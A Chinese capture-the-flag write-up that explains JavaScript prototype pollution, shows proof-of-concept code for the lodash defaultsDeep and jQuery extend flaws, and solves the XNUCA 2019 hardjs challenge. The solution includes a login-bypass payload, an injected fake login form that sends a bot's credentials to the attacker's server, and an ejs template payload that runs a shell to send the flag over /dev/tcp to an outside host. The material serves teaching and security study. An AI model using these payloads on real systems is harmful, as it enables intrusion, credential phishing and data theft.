To begin with
了解原型链污染比较晚,从今年的 TCTF FINAL 到 REDPWN,再到 XNUCA,才算是慢慢开始理解这种攻击的用法以及利用的场景。
看了很多资料,感觉 P 神的深入理解 JavaScript Prototype 污染攻击必看,而本篇水文在前文的基础上,以 XNUCA 2019 hardjs 为例,简单写一下自己的理解,我太菜了。
这里用一篇图解博客来说明prototype
、__proto__
与constructor
。
function Foo() {...};
let f1 = new Foo();
以上代码表示创建一个构造函数 Foo(),并用 new 关键字实例化该构造函数得到一个实例化对象 f1。这里稍微补充一下 new 操作符将函数作为构造器进行调用时的过程:函数被调用,然后新创建一个对象,并且成了函数的上下文(也就是此时函数内部的 this 是指向该新创建的对象,这意味着我们可以在构造器函数内部通过 this 参数初始化值),最后返回该新对象的引用。虽然是简简单单的两行代码,然而它们背后的关系却是错综复杂的,如下图所示
图片虽然很详细,但不是很好理解,这里先对三个属性进行介绍
__proto__
属性,它是对象所独有的,可以看到__proto__
属性都是由一个对象指向一个对象,即指向它们的原型对象(也可以理解为父对象),那么这个属性的作用是什么呢?它的作用就是当访问一个对象的属性时,如果该对象内部不存在这个属性,那么就会去它的__proto__
属性所指向的那个对象(可以理解为父对象)里找,如果父对象也不存在这个属性,则继续往父对象的__proto__
属性所指向的那个对象(可以理解为爷爷对象)里找,如果还没找到,则继续往上找…直到原型链顶端 null
。
prototype
属性,它是函数所独有的,它是从一个函数指向一个对象。它的含义是函数的原型对象,也就是这个函数(其实所有函数都可以作为构造函数)所创建的实例的原型对象,由此可知:f1.__proto__ === Foo.prototype
,它们两个完全一样。
constructor
属性也是对象才拥有的,它是从一个对象指向一个函数,含义就是指向该对象的构造函数,每个对象都有构造函数。
首先,我们需要牢记两点:①__proto__
和 constructor
属性是对象所独有的;② prototype
属性是函数所独有的。但是由于 JS 中函数也是一种对象,所以函数也拥有 __proto__
和 constructor
属性,这点是致使我们产生困惑的很大原因之一。
我们以 __proto__
为例。f1.__proto__
指向了 对象 f1
的原型对象,上图中对应的 Foo.prototype
正是 Foo 函数所创建的实例的原型对象。个人认为 f1
的原型对象可以理解为 是 Foo
这个(抽象的且已实现的)对象,而 Foo 对象的原型 Foo.__proto__
指向了 Function
这个(抽象的且并未实现的)对象。(仅作为个人便于理解的解释,可能并不准确)。
从这张图我们也可以看出,f1
和 Foo
从继承角度来看其实属于同一个级别。
继续往下一层来看,f1.__proto__
的原型对象 f1.__proto__.__proto__
指向了 Object.prototype
。在这里就比较容易理解了,这里 Object 作为函数,Object.prototype
便指向了原型链最顶层的对象,相当于初始父对象。这里需要注意的是,a=new Object();
,那么a.__proto__
指向这个初始父对象。当然,这个父对象的原型就是 null 了,因为它已经没有原型了。
到这里,基本的概念就算介绍完毕了,还需要强调的就是原型链:
__proto__
属性的作用就是当访问一个对象的属性时,如果该对象内部不存在这个属性,那么就会去它的 __proto__
属性所指向的那个对象(父对象)里找,一直找,直到 __proto__
属性的终点 null,再往上找就相当于在 null 上取值,会报错。通过 __proto__
属性将对象连接起来的这条链路即我们所谓的原型链。
如果我们在原型链的某个父节点上添加属性,那么就会影响没有该属性子节点,当然子节点必须要获取这个属性才会触发向父节点的搜索。那么我们只需要修改 f1.__proto__.__proto__.hack=xxx
,就可以从任意其他实例对象中获取到指定的值。
Real World Prototype Pollution
P 神的博客提到了 lodash.merge
在合并时没考虑到 __proto__
属性导致了原型链污染的问题,在实际环境中存在相似的函数。
这里截取了一位大佬的 code breaking wp hard - thejs 的一部分。
在这部分,主要介绍两个原型链污染漏洞(从时间上来看,稍微新一点
lodash.defaultsDeep CVE-2019-10744
具体的内容可查看:https://snyk.io/vuln/SNYK-JS-LODASH-450202
POC 如下:
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
由于之前直接覆盖 __proto__
已经被修复了,在这里只能通过调用 lodash.defaultsDeep
时,使用 constructor 来覆盖 prototype 属性,达到原型链污染的效果。
jQuery.extend CVE-2019-11358
在 jQuery < 3.4.0 的版本中,存在这个漏洞,从而导致原型链污染,和上面不同的是,这个污染只能影响前端的解析,需要根据具体的情况加以利用,总体来看利用起来难度比较大。
let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true
根据上面的 POC 可以看出,触发点在于 $.extend
,那我们只要定位到这个函数就可以了。
然而根据之前我们知道的内容,原型链污染目的是在父对象中插入某个属性的值,达到污染内容的目的,但触发的条件是调用未定义属性值时的向父对象查找,在前端中语法相对固定,很难找到调用未定义的属性值,这可能也是导致这个漏洞利用起来很困难的一个原因,但我们可以观察一个例子
可以发现虽然没有直接去调用 injection 这个成员,但是也能通过其他方式去触发这个成员属性。
XUNCA 2019 Hardjs
已知信息
我们已经知道后端存在一个原型链污染,在 /get 路由中,根据代码逻辑
var userid = req.session.userid ;
var sql = "select count(*) count from `html` where userid= ?"
// var sql = "select `dom` from `html` where userid=? ";
var dataList = await query(sql,[userid]);
if(dataList[0].count == 0 ){
res.json({})
}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
console.log("Merge the recorder in the database.");
var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();
for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(doms) ]);
可以看到当条数大于五条时会触发合并操作,从而导致原型链污染。
不过这里特殊一点的是,传入的数据包裹在数组里,但是可能因为进行了递归解析,并不影响最终结果,我们继续看一下能够利用的点。
并且,flag 保存在主机的环境变量以及登录所用的密码中,所以我们考虑两种方法,一是 XSS 伪造登录窗口,一是通过 RCE 直接获取 flag。
attack on frontend
在 handler 中,有一个检测是否登录的函数
function auth(req,res,next){
// var session = req.session;
if(!req.session.login || !req.session.userid ){
res.redirect(302,"/login");
} else{
next();
}
}
如果在没有 session 的情况下,那么这两个属性就是未定义的状态,那么我们可以通过原型链污染来绕过检测。那绕过检测有什么作用呢,bot 在登录时会跳过预期的登录步骤,那么我们在正常界面里能插入伪造的登录页面吗?
读一遍 server 的代码,发现我们可以向服务器提交数据,并且几乎没有过滤。但是仔细看 bot 的脚本,发现
usernameForm = client.find_element_by_xpath("//input[@name='username']")
passwordForm = client.find_element_by_xpath("//input[@name='password']")
使用 XPATH 指定了元素的位置,而我们在 sandbox 中获取到的元素是类似 //*[@name="username"]
的,根本无法匹配到。另外,如果我们在其中使用 js 来操作( bot 启动时关闭了 xss-auditor ),可以看到 chrome 也给出了提示 Blocked script execution in 'http://xx/sandbox' because the document's frame is sandboxed and the 'allow-scripts' permission is not set.
那我们在其中嵌入脚本也行不通了。
那我们现在的思路是,如果要写一个可控内容的页面的话,必须写在 sandbox 页面外,这样才能匹配到或者说能够执行 js。
我们可以发现在前端使用了有漏洞的 jQuery 版本
function getAll(allNode){
$.ajax({
url:"/get",
type:"get",
async:false,
success: function(datas){
for(var i=0 ;i<datas.length; i++){
$.extend(true,allNode,datas[i])
}
// console.log(allNode);
}
})
}
并且在拉取数据时调用了 extend,那我们可以考虑攻击原型链。
可以注意到之后页面在加载时对页面进行了动态渲染
(function(){
var hints = {
header : "自定义内容",
notice: "自定义公告",
wiki : "自定义wiki",
button:"自定义内容",
message: "自定义留言内容"
};
for(key in hints){
// console.log(key);
element = $("li[type='"+key+"']");
if(element){
element.find("span.content").html(hints[key]);
}
}
})();
可以看到对指定 type 的 content 标签进行了赋值,那我们如果要控制其中内容的话,需要找到一个具有 type 和 content 的标签,那刚好就是 logger 了。
<li type="logger">
<div class="col-sm-12 col-sm-centered">
<pre class="am-pre-scrollable">
<span class="am-text-success">[Tue Jan 11 17:32:52 9]</span> <span class="am-text-danger">[info]</span> <span class="content">StoreHtml init success .....</span>
</pre>
</div>
</li>
可以看到 index.ejs 中的 logger 刚好满足要求。
剩下的就是传入一个伪造的登录页面了。
登录后,先提交以绕过登录,满六次后刷新页面触发 merge 操作。
{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":1}}}}
清空 cookie,刷新页面,可发现已经绕过了登录。再提交:
{"type":"test","content":{"__proto__":{"logger":"<form action='http://xxx/' method='post' class='am-form'><input type='text' name='username' id='email' value=''><input type='password' name='password' id='password' value=''><input type='ubmit' name='' ></form>"}}
等待 bot 访问,就可以在 vps 拿到 flag 了。
另外也可以直接嵌入一个跳转 <script>window.location='http://xx/'</script>
,构造个钓鱼页就 ok。
膜 kun 神,前后端组合利用太强了。。
attack on backend
前端的攻击很巧妙,但是比较难发现,而寻找后端漏洞,需要进一步观察源码,在 server.js 中已经没有触发未定义值得语句了,但在渲染时可发现后端使用了 ejs 模板引擎,其中可能存在某些拼接的情况,跟进去看一下。
我们先跟进去默认情况下最先渲染的 login 页面。
server.js:106
res.render('login_register',{
可以发现进入了 response.js,我们的目的是看一下 ejs.js,其他的内容先快速跳过。在其中调用了
response.js:1012
app.render(view, opts, done);
继续跟,application.js,在最后是 tryRender,一直跟进去可以发现在 view.js 调用了 this.engine(this.path, options, callback);
,跟进去就到了 ejs.js 中的 renderFile。其中又调用了 tryHandleCache,跟进其中可以发现进入了另一个分支:
ejs.js:254:
try {
result = handleCache(options)(data);
}
catch (err) {
return cb(err);
}
handleCache 应该是返回了一个函数,继续看,在 handleCache 中我们发现了 compile
//ejs.js:215:
func = exports.compile(template, options);
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
//ejs.js:375:
exports.compile = function compile(template, opts) {
var templ;
// v1 compat
// 'scope' is 'context'
// FIXME: Remove this in a future version
if (opts && opts.scope) {
if (!scopeOptionWarned){
console.warn('`scope` option is deprecated and will be removed in EJS 3');
scopeOptionWarned = true;
}
if (!opts.context) {
opts.context = opts.scope;
}
delete opts.scope;
}
templ = new Template(template, opts);
return templ.compile();
};
可以发现根据读入的文件内容(login 模板)创建了 templ 对象,并进行了 compile,截取了部分源码。
compile: function () {
var src;
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
var escapeFn = opts.escapeFunction;
var ctor;
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
if (opts.compileDebug) {
src = 'var __line = 1' + '\n'
+ ' , __lines = ' + JSON.stringify(this.templateText) + '\n'
+ ' , __filename = ' + (opts.filename ?
JSON.stringify(opts.filename) : 'undefined') + ';' + '\n'
+ 'try {' + '\n'
+ this.source
+ '} catch (e) {' + '\n'
+ ' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
+ '}' + '\n';
}
else {
src = this.source;
}
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
if (opts.strict) {
src = '"use strict";\n' + src;
}
if (opts.debug) {
console.log(src);
}
可以发现在模板中,opts 的属性值被用到了多次,我们可以看一下此时的 opts 的值:
显然,opts.outputFunctionName
是未定义的,那我们就可以使用原型链来赋值,从而可以使得在 compile 的过程中 RCE。
这里直接给出出题人的 payload
{"type":"test","content":{"constructor":{"prototype": {"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}
出题人给出了第二个 RCE 的位置,即 var escapeFn = opts.escapeFunction;
在后面也拼接进入了模板中,但是在本地复现的过程中,该变量是被赋值的。